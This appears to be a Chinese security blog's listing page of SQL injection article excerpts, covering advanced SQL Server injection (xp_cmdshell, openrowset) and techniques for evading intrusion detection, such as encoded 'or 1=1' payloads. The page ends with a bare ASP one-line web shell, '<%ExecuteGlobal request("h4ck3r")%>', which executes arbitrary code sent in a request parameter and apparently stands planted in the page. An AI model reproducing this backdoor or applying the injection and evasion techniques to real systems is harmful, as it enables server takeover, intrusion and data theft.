• 2009-12-18

    Phoenix / Tools

    LiveCDs Monday, January 29, 2007 4:02 PM 828569600 AOC_Labrat-ALPHA-0010.iso - http://www.packetfocus.com/hackos/
    DVL (Damn Vulnerable Linux) - http://www.damnvulnerablelinux.org/



    Test sites / testing grounds SPI Dynam...
    Tag：SQL_Injection XSS Security
    h4ck3r 发表于09:43:54 | 阅读全文 | 评论 0 | 编辑 | 分享 0

  • 2007-06-21

    Sql-Server应用程序的高级Sql注入

    本文作者:Chris Anley
    翻译: luoluo [luoluonet@hotmail.com]

    [目 录]

    [概要]
    [介绍]
    [通过错误信息获取信息]
    [更深入的访问]
    [xp_cmdshell]
    [xp_regread]
    [其他扩展存储]
    [联合服务器]
    [用户自定义扩展存储]
    [向表中导入文本文件]
    [利用BCP创建文本文件]
    [SQL-Server里的ActiveX 脚本]
    [存储过程]
    [高级Sql注入]
    [没有引号的字符串]
    [Sql-Injection二次注入]
    [长度限制]
    [躲避审核]
    [防范...
    Tag：SQL_Injection
    h4ck3r 发表于09:33:44 | 阅读全文 | 评论 3 | 引用5 | 编辑 | 分享 0

  • 2007-05-14

    SQL INJECTION的终极利器opendatasource和openrowset

    作者：LCX

    　　目前市面上的SQL INECTION工具很多，最受推崇的当属NBSI了。SQL INECTION的方法在网上是也是满天飞，大家仔细学一下都会很快的成为脚本入侵高手。可是无论是工具，还是众多方法，猜SQL数据的时候原理不外乎两种。一个是对方的WEB服务器在没有关闭错误提示的时候是用让SQL出错来暴出想要的信息；一个是在对方的WEB服务器关闭错误提示的时候采用ASCII码拆半分法分析。当关闭错误提示的时候，这时来猜数据就很慢了，遇到网速蜗牛的时候真是急死人，NBSI此时还经常会出现猜解错误是否要重试的警告对话框。如果我来告诉你，有了opendatasource和openrowset这两个函数，一切问题都应刃而解了。
    　　在SQL联机从书的解释中，对没有定义为链接服务器名称的 OLE DB 数据源执行不常用查询时，使用特殊名称。在 SQL Ser...
    Tag：SQL_Injection
    h4ck3r 发表于08:14:48 | 阅读全文 | 评论 1 | 编辑 | 分享 0

  • 2007-05-02

    SQL Injection规避入侵检测技术总结

    信息来源：天马行空技术小组
    《SQL Injection规避入侵检测技术总结》

    当我们对一个运行IDS系统的服务器进行SQL注射时，我们往往会遇到很大的麻烦，因为我们的注射语句被过滤了，如何规避这种检测手段就成了一门新的技术，本文就对此规避技术提出十一条思路和方法，与大家商戳。
    一、 运用编码技术绕过，如URLEncode编码，ASCII编码绕过。
    如or 1=1即%6f%72%20%31%3d%31
    Test即CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
    二、 通过空格绕过，如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如or’swords’=‘sword......
    Tag：SQL_Injection
    h4ck3r 发表于18:52:04 | 阅读全文 | 评论 0 | 编辑 | 分享 0
共1页 1
<%ExecuteGlobal request("h4ck3r")%>